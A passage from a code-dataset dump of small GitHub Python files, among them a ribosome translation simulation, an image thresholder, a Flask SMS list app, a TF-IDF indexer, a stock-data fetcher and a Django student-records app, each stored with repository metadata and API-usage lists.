"usage_type": "call"}, {"api_name": "numpy.maximum", "line_number": 43, "usage_type": "call"}, {"api_name": "config.USE_SCALE", "line_number": 45, "usage_type": "attribute"}, {"api_name": "os.path.exists", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path", "line_number": 50, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 51, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pickle.dump", "line_number": 57, "usage_type": "call"}, {"api_name": "config.TRAIN_WAV_DIR", "line_number": 76, "usage_type": "attribute"}, {"api_name": "config.TRAIN_FEAT_DIR", "line_number": 76, "usage_type": "attribute"}, {"api_name": "config.VALID_WAV_DIR", "line_number": 78, "usage_type": "attribute"}, {"api_name": "config.VALID_FEAT_DIR", "line_number": 78, "usage_type": "attribute"}, {"api_name": "config.TEST_WAV_DIR", "line_number": 80, "usage_type": "attribute"}, {"api_name": "config.TEST_FEAT_DIR", "line_number": 80, "usage_type": "attribute"}, {"api_name": "DB_reader.read_noisy_wav_structure", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "40254749368", "text": "import code\nimport random\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\ndef run_simulation(dt, tsteps, kd, alpha, beta, q_arr, codon_length, Np_0, Nr_0):\n    mRNA_occupancy = np.zeros(codon_length, dtype=int)\n    end_occ = np.empty(tsteps, dtype=int) \n    end_occ[0] = 0\n\n    Np_t = np.empty(tsteps, dtype=int)\n    Np_t[0] = Np_0\n\n    Np = Np_0\n    Nr = Nr_0\n    for i in range(tsteps-1):\n\n        r_decay = random.random()\n        if r_decay < dt*kd*Np:\n            Np -= 1\n        \n        mRNA_occupancy, Np, Nr = update_occupancy(mRNA_occupancy, Np, Nr, dt, alpha, beta, q_arr, codon_length)\n\n        end_occ[i+1] = mRNA_occupancy[codon_length-1]\n        Np_t[i+1] = Np\n\n    return Np_t, end_occ\n\ndef update_occupancy(mRNA, Np, Nr, dt, alpha, beta, q_arr, codon_length):\n\n    # Check initial occupancy at start and end before any movement\n    start_occupied = mRNA[0]\n    end_occupied = mRNA[codon_length-1]\n\n    # Find indeces of occupied codons except end site and \n    # shuffle list for simulation purposes\n    occupied_idx = np.where(mRNA[0:codon_length-1] == 1)[0]\n    random.shuffle(occupied_idx)\n\n    # Simulate movement\n    for i in occupied_idx:\n        if mRNA[i+1] == 0:\n            r_step = random.random()\n            if r_step < q_arr[i]*dt:\n                mRNA[i] = 0\n                mRNA[i+1] = 1\n\n    # Allow for attachment and detachment depending on initial occupancy\n    if start_occupied == 0:\n        r_attach = random.random()\n        if r_attach < alpha*Nr*dt:\n            mRNA[0] = 1\n            Nr -= 1\n    \n    if end_occupied == 1:\n        r_detach = random.random()\n        if r_detach < beta*dt:\n            mRNA[codon_length-1] = 0\n            Np += 1\n            Nr += 1\n    \n    return mRNA, Np, Nr\n    \n\nkd = 1/1800\ncodon_length = 60\nq_arr = np.ones(codon_length)\n\ndt = 0.1\ntsteps = 720 * 3600\nNp_0 = 0\nNr_0 = 4\n\nbeta = 2\nalpha = 0.9\n\nNp_t, end_occ = run_simulation(dt, tsteps, kd, alpha, beta, q_arr, codon_length, Np_0, Nr_0)\n\ntsteps_transient = int(tsteps/10)\n\nNp_t_noTransient = Np_t[tsteps_transient:]\nend_occ = end_occ[tsteps_transient:]\n\npL05 = np.mean(end_occ)\ncurrent05 = beta*pL05\n\nmean = np.mean(Np_t_noTransient)\nvariance = np.var(Np_t_noTransient)\nff = variance/mean\n\nprint(\"Fano factor:\", ff)\n\nplt.figure()\nplt.plot(np.arange(0,tsteps*dt, dt), Np_t)\nplt.show()", "repo_name": "Snipersune/DynMod", "sub_path": "Lab1/Task3.py", "file_name": "Task3.py", "file_ext": "py", "file_size_in_byte": 2326, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.zeros", "line_number": 8, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 9, "usage_type": "call"}, {"api_name": "numpy.empty", "line_number": 12, "usage_type": "call"}, {"api_name": "random.random", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 38, "usage_type": "call"}, {"api_name": "random.shuffle", "line_number": 39, "usage_type": "call"}, {"api_name": "random.random", "line_number": 44, "usage_type": "call"}, {"api_name": "random.random", "line_number": 51, "usage_type": "call"}, {"api_name": "random.random", "line_number": 57, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 85, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 88, "usage_type": "call"}, {"api_name": "numpy.var", "line_number": 89, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 94, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 94, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 95, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 95, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 96, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 96, "usage_type": "name"}]}
{"seq_id": "22625167070", "text": "from PIL import Image\nimport sys\n\nif len(sys.argv) != 3:\n    print(\"Missing Arguments\")\n    sys.exit(0)\n\n\nim = Image.open(sys.argv[1])\npix = im.load()\n\n(width, lenght) = im.size\n\nfor y in range(lenght):\n    for x in range(width):\n        pixelColor = pix[x,y]\n\n         #Red\n        if pixelColor[0] > 127:\n            red = 255\n        else:\n            red = 0\n\n        #Green\n        if pixelColor[1] > 127:\n            green = 255\n        else:\n            green = 0\n\n        #Blue\n        if pixelColor[2] > 127:\n            blue = 255\n        else:\n            blue = 0\n        '''\n        red = pixelColor[0]\n        green = pixelColor[1]\n        blue = pixelColor[2]\n        finalColor = int((blue + red + green)/3)\n        '''\n        pix[x,y] = (red, green, blue)\nim.save(sys.argv[2])\n", "repo_name": "benCoder01/pythonProjects", "sub_path": "magicPicture/magicPicture.py", "file_name": "magicPicture.py", "file_ext": "py", "file_size_in_byte": 795, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 4, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 6, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 9, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 9, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 9, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}]}
{"seq_id": "28133614575", "text": "import sys\nimport json\nimport simplenote\nfrom flask import Flask, request, redirect\nfrom twilio.twiml.messaging_response import Body, Message, Redirect, MessagingResponse\nfrom simplenote_interface import SimplenoteInterface\n\n# GLOBALS\nlist_separator = \"\\n\\n\\n\\n\"\n\ns = SimplenoteInterface(False)\n\napp = Flask(__name__)\n\n@app.route('/alexa', methods=['POST'])\ndef alexa():\n    \"\"\"processing handle for alexa app\"\"\"\n    tag_name = request.form['tag_name']\n    list_name = request.form['list_name']\n    if not list_name or list_name is None or list_name is \"\":\n        list_name = tag_name\n    message_body = request.form['message_body']\n\n    resp = process(tag_name, list_name, message_body)\n    return str(resp)\n\n\n\n@app.route('/alexaListFromTag', methods=['GET'])\ndef alexaListsFromTag():\n    \"\"\"processing handling for alexa AllListsFromTagIntent intent\"\"\"\n    tag_name = request.args.get('tag_name')\n    \n    resp = \" \".join(s.get_lists_from_tag(tag_name)[\"list_names\"]).lower()\n    return str(resp)\n\n\n\n@app.route('/alexaRefresh', methods=['POST'])\ndef alexaListsFromTag():\n    \"\"\"processing handling for alexa AllListsRefreshIntent intent\"\"\"\n    s.reload_lists()\n    resp = \"Okay. I refreshed your lists\"\n    return str(resp)\n\n\n\n@app.route('/sms', methods=['POST'])\ndef sms():\n    \"\"\"process the sms text messages sent from twilio and send a response on success\"\"\"\n    # Get message parameters - number and message\n    number = request.form['From']\n    message_body = request.form['Body']\n    \n    if check_for_refresh(message_body):\n        s.reload_lists()\n        response = \"Reloaded lists from simplenote\"\n    else:\n        message_body = message_body.strip()\n        message_split = message_body.split(\" \")\n        if message_split[0][0] is \"@\":\n            tag = message_split[0][1:]\n            message_body = \" \".join(message_split[1:])\n        else:\n            raise Exception(\"Error. Message does not start with a list name\")\n\n        if message_split[1][0] is \"#\":\n            list_name = message_split[1][1:]\n            message_body = \" \".join(message_split[2:])\n        else:\n            list_name = tag\n\n        response = process(tag, list_name, message_body)\n\n    # Send response\n    resp = MessagingResponse()\n    resp.message(response)\n    #print('Hello {}, you said: {}'.format(number, message_body))\n    return str(resp)\n\n\n\ndef check_for_refresh(message_body):\n    \"\"\"Checks to ensure that the Refresh keyword was not used\"\"\"\n    if message_body.strip().upper() is \"REFRESH\":\n        add_keys_and_list_names()\n        return True\n    return False\n\n\n\ndef process(tag, list_name, message_body):\n    \"\"\"Adds a message_body to a list_name within a tag and saves results via simple note interface\"\"\"\n    tag_entry = s.get_lists_from_tag(tag)\n    list_index = s.get_index_from_list_name(tag_entry, tag, list_name)\n    \n    # get list\n    list_text = s.get_list(tag_entry[\"list_id\"])\n\n    # update the corresponding list\n    updated_list_text = s.add_to_list(list_text, list_index, message_body)\n    \n    s.update_list(tag_entry[\"list_id\"], updated_list_text)\n\n    result  = \"Added to \" + tag + \" - \" + list_name\n    print(result)\n    return result\n\n\n \nif __name__ == '__main__':\n    app.run(host = \"0.0.0.0\", port=8080)\n", "repo_name": "neeasthana/-list", "sub_path": "messaging.py", "file_name": "messaging.py", "file_ext": "py", "file_size_in_byte": 3238, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "simplenote_interface.SimplenoteInterface", "line_number": 11, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 13, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 18, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 18, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 22, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 22, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 32, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 32, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 32, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 52, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 52, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 53, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 53, "usage_type": "name"}, {"api_name": "twilio.twiml.messaging_response.MessagingResponse", "line_number": 76, "usage_type": "call"}]}
{"seq_id": "21014354899", "text": "import sys\nfrom PySide2 import QtCore, QtWidgets, QtGui\nimport os\nimport numpy as np\nimport pandas as pd\nfrom datetime import datetime, date, timedelta\nfrom dateutil.relativedelta import relativedelta\nimport openpyxl\n\nclass DateInput:\n    def __init__(self, enter):\n        self.enter = enter\n\n\nclass AppWidget(QtWidgets.QWidget):\n    def __init__(self):\n        super().__init__()  \n        self.state = []\n        self.layout = self.initialize_layout()             \n        self.setLayout(self.layout)\n        \n    def add_months(self, entered_date):\n        months_list = []\n        new = pd.Timestamp(entered_date) + relativedelta(years=1, months=1)\n        for i in range(60):\n            months_list.append(new - relativedelta(months=1))\n            new -= relativedelta(months=1)\n        lp = []\n        mat = []\n        n = 0\n        m = 0\n        for month in months_list:\n            n += 1\n            lp.append(n)\n        for l in lp:\n            if l/12 <= m:\n                mat.append(\"MAT{}\".format(m-1))\n            else:\n                m += 1\n                mat.append(\"MAT{}\".format(m-1))\n        lp = []\n        r_quater = []\n        n = 0\n        for month in months_list:\n            n += 1\n            lp.append(n)\n        q = [1,1,1,2,2,2,3,3,3,4,4,4]*(len(lp)//12)\n        for l in lp:\n            r_quater.append(\"RQ{}\".format(q[l-1]))\n\n        year = []\n        for month in pd.DatetimeIndex(months_list):\n            year.append(month.year)\n\n        quater = []\n        for month in pd.DatetimeIndex(months_list):\n            quater.append(\"Q{}\".format((month.month-1)//3+1))\n\n        half = []\n        for month in pd.DatetimeIndex(months_list):\n            half.append(\"H{}\".format(month.month//7+1))\n\n        ytd = []\n        lastdata = pd.DatetimeIndex(months_list)[0].year\n        for month in pd.DatetimeIndex(months_list):\n            ytd.append(\"YTD{}\".format(lastdata-month.year))\n\n        dict_mat = pd.DataFrame({'Time period': months_list, 'YEAR': year,'HALF': half, 'QUATER': quater,'MAT': mat, 'YTD': ytd, 'ROLLING QUATER': r_quater})\n\n        dict_mat.iloc[0:12,4:] = np.nan\n        rows_to_clean = int(entered_date[-2:])\n        dict_mat.iloc[12 + rows_to_clean:24,5] = np.nan\n        dict_mat.iloc[24 + rows_to_clean:36,5] = np.nan\n        dict_mat.iloc[36 + rows_to_clean:48,5] = np.nan\n        dict_mat.iloc[48 + rows_to_clean:60,5] = np.nan\n\n        dict_mat.to_excel(\"dict.xlsx\") \n        \n    def on_submit(self):\n        for i in self.state:\n            print(\"Dictionary is being generated. Check your folder.\")\n            entered_date = i.enter.text()\n            self.add_months(entered_date)\n            sys.exit(0)\n        \n    def initialize_layout(self):\n        path = os.getcwd()\n        path = os.path.realpath(path)\n        os.startfile(path)\n        label = QtWidgets.QLabel('Place the files into the folder that opened, then enter the starting month in yyyy-mm format and press \"OK\". ')\n        label.setFont(QtGui.QFont('Sanserif', 11))\n        enter = QtWidgets.QLineEdit()\n        row = 0\n        grid = QtWidgets.QGridLayout()\n        submit = QtWidgets.QPushButton('OK')\n        submit.clicked.connect(self.on_submit)\n        self.state.append(DateInput(enter))\n        grid.addWidget(label, row, 0)\n        grid.addWidget(enter, row, 1)\n        grid.addWidget(submit, row + 1, 1)\n        return grid\n        \n\nif __name__ == '__main__':\n    app = QtWidgets.QApplication([])\n    appWidget = AppWidget()\n    appWidget.resize(600, 80)\n    appWidget.show()\n    sys.exit(app.exec_())\n\n\n    ", "repo_name": "MalgorzataMikolajewicz/dict-maker", "sub_path": "dict_maker.py", "file_name": "dict_maker.py", "file_ext": "py", "file_size_in_byte": 3558, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "PySide2.QtWidgets.QWidget", "line_number": 15, "usage_type": "attribute"}, {"api_name": "PySide2.QtWidgets", "line_number": 15, "usage_type": "name"}, {"api_name": "pandas.Timestamp", "line_number": 24, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 24, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 26, "usage_type": "call"}, {"api_name": "dateutil.relativedelta.relativedelta", "line_number": 27, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 52, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 56, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 60, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 64, "usage_type": "call"}, {"api_name": "pandas.DatetimeIndex", "line_number": 65, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 68, "usage_type": "call"}, {"api_name": "numpy.nan", "line_number": 70, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 72, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 73, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 74, "usage_type": "attribute"}, {"api_name": "numpy.nan", "line_number": 75, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 84, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path.realpath", "line_number": 88, "usage_type": "call"}, {"api_name": "os.path", "line_number": 88, "usage_type": "attribute"}, {"api_name": "os.startfile", "line_number": 89, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets.QLabel", "line_number": 90, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 90, "usage_type": "name"}, {"api_name": "PySide2.QtGui.QFont", "line_number": 91, "usage_type": "call"}, {"api_name": "PySide2.QtGui", "line_number": 91, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QLineEdit", "line_number": 92, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 92, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QGridLayout", "line_number": 94, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 94, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QPushButton", "line_number": 95, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 95, "usage_type": "name"}, {"api_name": "PySide2.QtWidgets.QApplication", "line_number": 105, "usage_type": "call"}, {"api_name": "PySide2.QtWidgets", "line_number": 105, "usage_type": "name"}, {"api_name": "sys.exit", "line_number": 109, "usage_type": "call"}]}
{"seq_id": "26686227965", "text": "import json\n\nimport pytest\nfrom filelock import FileLock\n\n\ndef produce_expensive_data():\n    return 'produced data'\n\n\n@pytest.fixture(scope=\"session\")\ndef session_data(tmp_path_factory, worker_id):\n    if worker_id == \"master\":\n        # not executing in with multiple workers, just produce the data and let\n        # pytest's fixture caching do its job\n        return produce_expensive_data()\n\n    # get the temp directory shared by all workers\n    root_tmp_dir = tmp_path_factory.getbasetemp().parent\n\n    fn = root_tmp_dir / \"data.json\"\n    with FileLock(str(fn) + \".lock\"):\n        if fn.is_file():\n            data = json.loads(fn.read_text())\n        else:\n            data = produce_expensive_data()\n            fn.write_text(json.dumps(data))\n    return data\n", "repo_name": "half-tested/pytest", "sub_path": "tests/14_plugins/03_parallel/06_single_session_scope_fixture/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 767, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "filelock.FileLock", "line_number": 22, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 24, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 27, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 11, "usage_type": "call"}]}
{"seq_id": "13522790800", "text": "#!/usr/local/anaconda3/bin/python3\n\nimport sys\nfrom os import walk\nfrom os.path import join\nimport regex as re\nimport pickle\nfrom math import log10\nfrom math import sqrt\nimport numpy as np\n\n\nf = []\n\nfor (dirpath, dirnames, filenames) in walk(sys.argv[1]):\n\tfor filename in filenames:\n\t\tif filename.endswith(\".txt\"):\n\t\t\tf.append(filename)\n\tbreak\n\n\nN = len(f)\n\nresults_dict = {}\nword_counts = {}\nfor file in f:\n\tresults_dict.update({file:{}})\n\tword_counts.update({file:0})\n\n#print (results_dict)\n#print (word_counts)\n\nprint (\"Reading files...\")\n\nmaster_index = {}\nfor filename in f:\n\tpath = join(sys.argv[1], filename)\n\tprint (path)\n\tindex = {}\n\twith open(path) as f:\n\t\tfile_iterator = re.finditer(r'\\p{L}+', f.read().lower())\n\t\tfor match in file_iterator:\n\t\t\tword_counts[filename] += 1\n\t\t\tword = match.group()\n\t\t\tif word not in index:\n\t\t\t\tindex[word] = [match.start()]\n\t\t\telse:\n\t\t\t\tindex[word].append(match.start())\n\tpickle.dump(index, open(filename[:-4]+\".idx\", \"wb\"))\n\tfor word in index.keys():\n\t\tif word not in master_index:\n\t\t\tmaster_index[word] = {filename:index[word]}\n\t\telse:\n\t\t\tmaster_index[word].update({filename:index[word]})\n\nprint (\"-\"*5)\nprint ()\n\nfor word in master_index.keys():\n#\tprint (word, master_index[word])\n\tnj = len(master_index[word])\n#\tprint (nj)\n\tfor filename in results_dict.keys():\n\t\tif filename in master_index[word]:\n\t\t\ttf = len(master_index[word][filename])\n\t\t\tresults_dict[filename].update({word: ((tf/word_counts[filename]) * log10(N/nj))})\n\t\telse:\n\t\t\tresults_dict[filename].update({word: 0.0})\n\n\nfor file in results_dict.keys():\n\tprint (file)\n\tcount = 0\n\tfor word in results_dict[file].keys():\n#\t\tprint (word)\n\t\tif word in  (\"känna\", \"gås\", \"nils\", \"et\"):\n\t\t\tprint (word, results_dict[file][word])\n#\t\tif count < 10:\n#\t\t\tprint (word, results_dict[file][word])\t\n#\t\tcount += 1\n\tprint ()\n\n\n#cosines = np.zeros((N,N))\ncosines = \t[[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0],\n\t\t[0,0,0,0,0,0,0,0,0]]\nfor i, filename1 in enumerate(results_dict.keys()):\n\tfor j, filename2 in enumerate(results_dict.keys()):\n\t\tif filename1 == filename2:\n\t\t\tcontinue\n#\t\tprint(i, filename1, j, filename2)\n\t\tq = list(results_dict[filename1].values())\n\t\td = list(results_dict[filename2].values())\n\t\tq2 = 0\n\t\tfor qi in q:\n\t\t\tq2 += qi*qi\n\t\tq2 = sqrt(q2)\n\t\td2 = 0\n\t\tfor di in d:\n\t\t\td2 += di*di\n\t\td2 = sqrt(d2)\n\t\tfor k, _ in enumerate(q):\n\t\t\tcosines[i][j] += q[k] * d[k]\n\t\tcosines[i][j] = cosines[i][j]/(q2*d2)\n#\t\tprint (cosines[i][j])\n\nprint (\"=\"*160)\n\nfilenames = list(results_dict.keys()) \nprint (\"\\t\\t\", filenames[0], \"\\t\", filenames[1], \"\\t\", filenames[2], \"\\t\", filenames[3], \"\\t\", filenames[4], \"\\t\", filenames[5], \"\\t\", filenames[6], \"\\t\", filenames[7], \"\\t\", filenames[8])\nfor i, row in enumerate(cosines):\n\tprint (list(results_dict.keys())[i],\"\\t\" , \"{:.5f} \\t {:.5f} \\t {:.5f} \\t {:.5f} \\t {:.5f} \\t {:.5f} \\t {:.5f} \\t {:.5f} \\t {:.5f}\".format(row[0], row[1], row[2], row[3], row[4], row[5], row[6], row[7], row[8]))\n\nmax = -1\nindex = (-1,-1)\nfor i, row in enumerate(cosines):\n\tfor j, cell in enumerate(row):\n\t\tif cell > max:\n\t\t\tmax = cell\n\t\t\tindex = (i,j)\n\nprint(\"=\"*5)\nprint()\n\nfiles = list(results_dict.keys())\nprint (\"Highest cosine similarity:\\t{:.5f}\".format(max))\nprint (\"Corresponding documents:\\t%s <-> %s\" % (files[index[0]], files[index[1]]))\n", "repo_name": "Ga22be/EDAN20", "sub_path": "lab1/indexer.py", "file_name": "indexer.py", "file_ext": "py", "file_size_in_byte": 3403, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.walk", "line_number": 15, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 15, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "regex.finditer", "line_number": 41, "usage_type": "call"}, {"api_name": "pickle.dump", "line_number": 49, "usage_type": "call"}, {"api_name": "math.log10", "line_number": 66, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 104, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 108, "usage_type": "call"}]}
{"seq_id": "16439923821", "text": "from nsepy import get_history\nfrom datetime import date\nimport time\n\nsymbols = ['ULTRACEMCO', 'CIPLA', 'ACC', 'HDFC', 'HCLTECH', 'JSWSTEEL', 'MARUTI', 'INFY', 'BHARTIARTL', 'AXISBANK']\n\n\ndef get_data():\n    for sym in symbols:\n        print('fetching data for {}'.format(sym))\n        try:\n            data = get_history(symbol=sym, start=date(2002, 1, 1), end=date(2019, 1, 15))\n        except:\n            print('----------------Sleeping for 5 minutes. Too much Load-------------------------')\n            time.sleep(300)\n            data = get_history(symbol=sym, start=date(2002, 1, 1), end=date(2019, 1, 15))\n        print('data fetched!!!')\n        print(data)\n        data.to_csv(path_or_buf='../data/{}.csv'.format(sym))\n\n\ndef main():\n    get_data()\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "kaushik-rohit/timeseries-prediction", "sub_path": "scripts/fetch_data.py", "file_name": "fetch_data.py", "file_ext": "py", "file_size_in_byte": 798, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "81", "api": [{"api_name": "nsepy.get_history", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 12, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 15, "usage_type": "call"}, {"api_name": "nsepy.get_history", "line_number": 16, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 16, "usage_type": "call"}]}
{"seq_id": "37245873903", "text": "from django.contrib.auth import authenticate, login, logout\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.shortcuts import render, redirect\nfrom django.contrib import messages\nfrom Student.models import CustomUser,Courses,Students,Admin\nfrom Student.emailbackend import EmailBackEnd\nfrom .forms import AddStudentForm\nfrom django.views.generic import ListView,DetailView,UpdateView,CreateView,DeleteView\nfrom django.contrib.auth.mixins import (\n    LoginRequiredMixin,\n    UserPassesTestMixin,\n)\n\n\n\ndef loginPage(request):\n    return render(request, 'login.html')\n\n\ndef Login(request):\n    if request.method != \"POST\":\n        return HttpResponse(\"<h2>Method Not Allowed</h2>\")\n    else:\n        user = EmailBackEnd.authenticate(request, username=request.POST.get('email'), password=request.POST.get('password'))\n        if user != None:\n            login(request, user)\n            user_type = user.user_type\n            #return HttpResponse(\"Email: \"+request.POST.get('email')+ \" Password: \"+request.POST.get('password'))\n            if user_type == '1':\n                return redirect('admin_home')\n\n            else:\n                messages.error(request, \"Invalid Login!\")\n                return redirect('login')\n        else:\n            messages.error(request, \"Invalid Login Credentials!\")\n            #return HttpResponseRedirect(\"/\")\n            return redirect('login')\n\n\ndef get_user_details(request):\n    if request.user != None:\n        return HttpResponse(\"User: \"+request.user.email+\" User Type: \"+request.user.user_type)\n    else:\n        return HttpResponse(\"Please Login First\")\n\n\n\ndef logout_user(request):\n    logout(request)\n    return HttpResponseRedirect('/')\n\n\n\ndef student_profile(request):\n    user = CustomUser.objects.get(id=request.user.id)\n    student = Students.objects.get(admin=user)\n\n    context={\n        \"user\": user,\n        \"student\": student\n    }\n    return render(request, 'student_template/student_profile.html', context)\n\n\ndef student_profile_update(request):\n    if request.method != \"POST\":\n        messages.error(request, \"Invalid Method!\")\n        return redirect('student_profile')\n    else:\n        first_name = request.POST.get('first_name')\n        last_name = request.POST.get('last_name')\n        password = request.POST.get('password')\n        address = request.POST.get('address')\n\n        try:\n            customuser = CustomUser.objects.get(id=request.user.id)\n            customuser.first_name = first_name\n            customuser.last_name = last_name\n            if password != None and password != \"\":\n                customuser.set_password(password)\n            customuser.save()\n\n            student = Students.objects.get(admin=customuser.id)\n            student.address = address\n            student.save()\n            \n            messages.success(request, \"Profile Updated Successfully\")\n            return redirect('student_profile')\n        except:\n            messages.error(request, \"Failed to Update Profile\")\n            return redirect('student_profile')\n        \n        \ndef admin_home(request):\n    all_student_count = Students.objects.all().count()\n    course_count = Courses.objects.all().count()\n\n    # Total Subjects and students in Each Course\n    course_all = Courses.objects.all()\n    course_name_list = []\n    subject_count_list = []\n    student_count_list_in_course = []\n\n    for course in course_all:\n        students = Students.objects.filter(course_id=course.id).count()\n        course_name_list.append(course.course_name)\n        student_count_list_in_course.append(students)\n    \n\n\n    # For Students\n    context={\n        \"all_student_count\": all_student_count,\n        \"course_count\": course_count,\n    }\n    return render(request, \"admin_template/home.html\", context)\n\ndef admin_profile(request):\n    user = CustomUser.objects.get(id=request.user.id)\n\n    context={\n        \"user\": user\n    }\n    return render(request, 'admin_template/admin_profile.html', context)        \n        \ndef add_course(request):\n    return render(request, \"admin_template/add_course_template.html\")\n\n\ndef add_course_save(request):\n    if request.method != \"POST\":\n        messages.error(request, \"Invalid Method!\")\n        return redirect('add_course')\n    else:\n        course = request.POST.get('course')\n        try:\n            course_model = Courses(course_name=course)\n            course_model.save()\n            messages.success(request, \"Course Added Successfully!\")\n            return redirect('add_course')\n        except:\n            messages.error(request, \"Failed to Add Course!\")\n            return redirect('add_course')\n        \n\nclass add_student(LoginRequiredMixin,CreateView):\n    login_url = '/user/login/'\n    redirect_field_name = 'login'\n    model= Students\n    template_name = 'admin_template/add_student_template.html'\n    fields=['first_name','last_name','address','gender','course_id']\n\n\nclass PostListView(ListView):\n    model = Students\n    template_name = 'student_template/home.html'  # <app>/<model>_<viewtype>.html\n    context_object_name = 'students'\n    paginate_by =4\n    \nclass PostDetailView(DetailView):\n    model = Students\n    template_name = 'student_detail.html' # <app>/<model>_<viewtype>.html\n", "repo_name": "KARISHMASHINDE/StudentApp", "sub_path": "Student/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 5239, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.shortcuts.render", "line_number": 17, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 22, "usage_type": "call"}, {"api_name": "Student.emailbackend.EmailBackEnd.authenticate", "line_number": 24, "usage_type": "call"}, {"api_name": "Student.emailbackend.EmailBackEnd", "line_number": 24, "usage_type": "name"}, {"api_name": "django.contrib.auth.login", "line_number": 26, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", 